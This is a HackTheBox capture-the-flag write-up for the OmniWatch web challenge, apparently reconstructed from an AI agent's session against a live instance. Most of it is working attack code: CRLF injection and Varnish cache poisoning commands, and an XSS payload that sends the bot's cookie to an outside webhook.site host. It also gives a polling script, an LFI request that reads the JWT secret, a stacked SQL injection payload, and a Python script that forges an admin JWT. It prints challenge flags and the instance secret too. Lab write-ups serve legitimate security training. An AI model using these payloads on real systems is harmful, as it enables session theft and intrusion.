OmniWatch (session replay)
HackTheBox
Task: a Varnish-fronted Zig and Flask application with CRLF injection, reflected XSS, LFI, JWT handling, and SQLi. Solution: poison the oracle cache to steal a moderator JWT, read the JWT secret via LFI, forge an admin token, insert its signature with stacked SQLi, and access the admin page.
$ ls tags/ techniques/
OmniWatch - HackTheBox
This is a detailed solution reconstructed from the OpenCode session OmniWatch hackthebox challenge and its actual exploitation on a live instance.
Important: the exploitation chain is identical to the old writeup, but the final hash inside the flag is different for this instance.
Description
The crew has uncovered the IP address of a web interface used by the mercenary group called "Gunners" to track and spy on their enemies. To locate an elusive black market dealer for a critical trade, the team must hack into this gunners network and retrieve the last known location of a caravan that was recently ambushed in the wasteland.
English summary: the target is a Varnish-fronted application with a Zig oracle service, a Flask controller, and a headless moderator bot. The goal is to chain multiple bugs to reach the admin panel and recover the flag.
Analysis
Result
Flag:
HTB{h3110_41w4y5_i_s3e_y0u4nd_1m_w4tch1ng_5dd9416e302bfbdfc0f31d1acdc94f2d}
Chain:
- CRLF injection in the Zig oracle via
deviceId - Varnish cache poisoning by injecting
CacheKey: enable - Reflected XSS via
mode - Theft of the moderator JWT from the headless bot
- LFI via
/controller/firmwareto read/app/jwt_secret.txt - Administrator JWT forgery
- Stacked SQLi to add the forged signature into
signatures - Visit
/controller/adminand recover the flag
Quick reconnaissance
The first thing that stands out:
curl -I http://TARGET/
Response:
HTTP/1.1 301 Moved Permanently Server: Varnish Location: /controller
So the application is behind Varnish, which immediately suggests cache poisoning, key confusion, or other unkeyed-input issues.
Next, inspect /oracle:
curl -sv http://TARGET/oracle/json/1
This returns useful headers:
HTTP/1.1 200 OK Content-Type: application/json DeviceId: 1 Cache-Control: public, max-age=0 X-Cache: MISS
Two things matter immediately here:
DeviceIdis reflected from the URL- the application is behind Varnish and already sets caching headers
Challenge architecture
From the source code, the layout looks like this:
Varnish ├── /controller/* -> Flask/Python └── /oracle/* -> Zig/httpz Chromium bot: 1. logs in as moderator 2. then visits /oracle/json/{id}
This is already suspicious: if /oracle/json/... can be poisoned, the bot will open the poisoned page itself while carrying the moderator cookie.
Step 1. Why cache poisoning works at all
The critical part of cache.vcl is:
sub vcl_hash { hash_data(req.http.CacheKey); return (lookup); } sub vcl_backend_response { if (beresp.http.CacheKey == "enable") { set beresp.ttl = 10s; set beresp.http.Cache-Control = "public, max-age=10"; } else { set beresp.ttl = 0s; set beresp.http.Cache-Control = "public, max-age=0"; } }
The idea is simple:
- if the backend returns
CacheKey: enable, Varnish caches the response for 10 seconds - otherwise caching is effectively disabled
So the goal is to make the backend return that header.
Step 2. CRLF injection in the Zig oracle
From main.zig:
router.get("/oracle/:mode/:deviceId", oracle); const deviceId = req.param("deviceId").?; const mode = req.param("mode").?; const decodedDeviceId = try std.Uri.unescapeString(allocator, deviceId); const decodedMode = try std.Uri.unescapeString(allocator, mode);
Then decodedDeviceId is placed into the DeviceId header, and the value is written without sanitization. During the session it was separately verified that headers in response.zig are rendered as:
name: value\r\n
If value already contains \r\n, a new header is created.
Verification:
curl --path-as-is -sv \ 'http://TARGET/oracle/html/1%0d%0aInjected:%20yes'
After this, the response contains the injected header, proving the CRLF works.
Next check:
curl --path-as-is -sv \ 'http://TARGET/oracle/html/1%0d%0aCacheKey:%20enable'
The response now contains:
CacheKey: enable Cache-Control: public, max-age=10
So caching is now enabled.
Step 3. Where the XSS comes from
mode is reflected into the HTML body of the oracle page. That means the page can be made HTML instead of JSON and used to carry XSS.
We need two things at the same time:
- inject headers through
deviceId - inject HTML/JS through
mode
There is one complication: the Zig router splits the path on /, so raw slashes inside the XSS break the route.
The session found the following workaround:
- use
%2Finsidemode - the router treats
%2Fas part of the segment, and Zig later decodes it back to/
Verification:
curl --path-as-is \ 'http://TARGET/oracle/test%2Fwith%2Fslashes/1'
The body becomes:
<p>Mode: test/with/slashes</p>
So the bypass works correctly.
Step 4. Full poisoned response
The final poisoning combination is:
mode= XSS payloaddeviceId=1%0d%0aCacheKey:%20enable%0d%0aContent-Type:%20text%2Fhtml
Purpose:
CacheKey: enable— enable cachingContent-Type: text/html— force the browser to render HTML instead of JSON
Working test from the session:
WEBHOOK_UUID="733ca082-f915-4259-83a3-7895501ef24d" XSS_MODE="%3Cscript%3Efetch(%22https:%2F%2Fwebhook.site%2F${WEBHOOK_UUID}%3Fc%3D%22%2Bdocument.cookie)%3C%2Fscript%3E" CRLF_DEVICE="1%0d%0aCacheKey:%20enable%0d%0aContent-Type:%20text%2Fhtml" curl --path-as-is -sv \ "http://TARGET/oracle/${XSS_MODE}/${CRLF_DEVICE}"
Then verify the cache:
curl -sv http://TARGET/oracle/json/5
This returns:
CacheKey: enable Content-Type: text/html X-Cache: HIT
So any request to /oracle/json/* now returns the poisoned HTML.
Step 5. Bot timing
The challenge exposes this endpoint:
curl http://TARGET/controller/bot_running
It returns running or not_running.
From the bot logic and the session:
- the bot logs in as
moderator - after startup, waiting about 4 seconds is required
- then it visits
/oracle/json/{id}
Working loop:
- poll
/controller/bot_running - as soon as it returns
running, wait 4 seconds - poison the cache
- wait until the bot lands on poisoned
/oracle/json/... - collect the cookie from webhook.site
Working script from the session:
WEBHOOK_UUID="733ca082-f915-4259-83a3-7895501ef24d" TARGET="http://TARGET" XSS_MODE="%3Cscript%3Efetch(%22https:%2F%2Fwebhook.site%2F${WEBHOOK_UUID}%3Fc%3D%22%2Bdocument.cookie)%3C%2Fscript%3E" CRLF_DEVICE="1%0d%0aCacheKey:%20enable%0d%0aContent-Type:%20text%2Fhtml" for i in $(seq 1 120); do STATUS=$(curl -s --max-time 3 "$TARGET/controller/bot_running") if [ "$STATUS" = "running" ]; then sleep 4 curl --path-as-is -s "$TARGET/oracle/${XSS_MODE}/${CRLF_DEVICE}" > /dev/null sleep 12 curl -s "https://webhook.site/token/${WEBHOOK_UUID}/requests?sorting=newest&per_page=3" break fi sleep 0.5 done
Session result:
[+] STOLEN COOKIE: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9....
This yields the moderator JWT.
Step 6. LFI to read the JWT secret
Next, analyze the Flask code.
From config.py:
class Config(object): JWT_KEY = open("/app/jwt_secret.txt", "r").read()
So if there is a file-read primitive, the path is already known.
In this challenge, /controller/firmware uses os.path.join() with attacker-controlled input. An absolute path bypasses the base directory, so /app/jwt_secret.txt can be requested directly.
Request from the session:
curl -s -X POST "$TARGET/controller/firmware" \ -b "jwt=$MOD_JWT" \ -d "patch=/app/jwt_secret.txt"
Response:
#c3UqSHyi4nH2k7
That is the JWT secret for the current instance.
Step 7. Why a forged JWT alone is not enough
From routes.py:
signature = jwt_cookie.split(".")[-1] saved_signature = mysql_interface.fetch_signature(user_id) if saved_signature != signature: mysql_interface.delete_signature(user_id) return redirect("/controller/login")
So the token must not only be cryptographically valid: its signature must also match the value stored in the database.
That means a second step is required: insert the new signature into the signatures table.
Step 8. Stacked SQLi
From database.py:
def query(self, query, args=(), one=False, multi=False): ... if not multi: cursor.execute(query, args) else: queries = query.split(";") for statement in queries: cursor.execute(statement, args)
The application itself splits the query on ; and executes statements one by one. If any query is built through an f-string, stacked SQLi becomes trivial.
The session used a payload like this:
payload = f"1'; INSERT INTO signatures(user_id, signature) VALUES({uid}, '{sig}');-- "
It was then sent to the device endpoint:
requests.get( f'{TARGET}/controller/device/{urllib.parse.quote(payload)}', cookies={'jwt': MOD_JWT}, timeout=10, )
After that, the table signatures contains the signature for the forged admin JWT.
Step 9. Forged admin JWT + flag
Create the token:
import jwt admin_jwt = jwt.encode( { 'user_id': 999, 'username': 'admin', 'account_type': 'administrator', }, SECRET, algorithm='HS256' )
Then:
- extract its signature
- insert that signature into the database through SQLi
- visit
/controller/adminwith the forged JWT
Working code from the session:
import jwt, requests, urllib.parse, re TARGET = 'http://TARGET' SECRET = '#c3UqSHyi4nH2k7'.strip() uid = 999 admin_jwt = jwt.encode( {'user_id': uid, 'username': 'admin', 'account_type': 'administrator'}, SECRET, algorithm='HS256' ) sig = admin_jwt.split('.')[-1] payload = f"1'; INSERT INTO signatures(user_id, signature) VALUES({uid}, '{sig}');-- " requests.get( f'{TARGET}/controller/device/{urllib.parse.quote(payload)}', cookies={'jwt': MOD_JWT}, timeout=10, ) r = requests.get( f'{TARGET}/controller/admin', cookies={'jwt': admin_jwt}, timeout=10, allow_redirects=False, ) print(re.search(r'HTB\{[^}]+\}', r.text).group(0))
Result:
HTB{h3110_41w4y5_i_s3e_y0u4nd_1m_w4tch1ng_5dd9416e302bfbdfc0f31d1acdc94f2d}
Full solve path in one place
1. Check the oracle and cache
curl -I http://TARGET/ curl -sv http://TARGET/oracle/json/1
2. Confirm CRLF
curl --path-as-is -sv 'http://TARGET/oracle/html/1%0d%0aInjected:%20yes' curl --path-as-is -sv 'http://TARGET/oracle/html/1%0d%0aCacheKey:%20enable'
3. Verify %2F inside mode
curl --path-as-is 'http://TARGET/oracle/test%2Fwith%2Fslashes/1'
4. Poison the cache with an XSS page
WEBHOOK_UUID="..." XSS_MODE="%3Cscript%3Efetch(%22https:%2F%2Fwebhook.site%2F${WEBHOOK_UUID}%3Fc%3D%22%2Bdocument.cookie)%3C%2Fscript%3E" CRLF_DEVICE="1%0d%0aCacheKey:%20enable%0d%0aContent-Type:%20text%2Fhtml" curl --path-as-is "http://TARGET/oracle/${XSS_MODE}/${CRLF_DEVICE}" curl -sv http://TARGET/oracle/json/5
5. Catch the bot
curl http://TARGET/controller/bot_running
Then poll → wait 4s → poison → collect the cookie.
6. LFI
curl -s -X POST http://TARGET/controller/firmware \ -b "jwt=$MOD_JWT" \ -d "patch=/app/jwt_secret.txt"
7. Forge admin JWT + stacked SQLi + admin page
Use the script shown above.
Why this challenge is good
This is not a single bug, but a real chain:
- CRLF alone does not give the flag
- XSS alone does not give the flag
- LFI alone does not give the flag
- JWT forgery alone does not give the flag
Everything had to be linked together:
CRLF -> CacheKey -> Varnish poisoning -> XSS on bot -> stolen moderator JWT -> LFI -> JWT secret -> forged admin JWT -> SQLi -> valid signature in DB -> /admin -> flag
Difference from the old writeup
The old writeup had the same exploit path, but a different flag:
HTB{h3110_41w4y5_i_s3e_y0u4nd_1m_w4tch1ng_8fc99d8ee3ac893c30b18787f09ceda6}
In this replayed session the chain was identical, and only instance-specific values changed:
- stolen moderator JWT
jwt_secret.txt- final flag suffix
The exploitation flow itself is exactly the same.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [web][free]OmniWatch— HackTheBox
- [web][free]Prison Pipeline— hackthebox_business_ctf_2024
- [web][free]Browsed— hackthebox
- [web][Pro]Lanternfall— neurogrid
- [misc][free]Chrono Mind— HackTheBox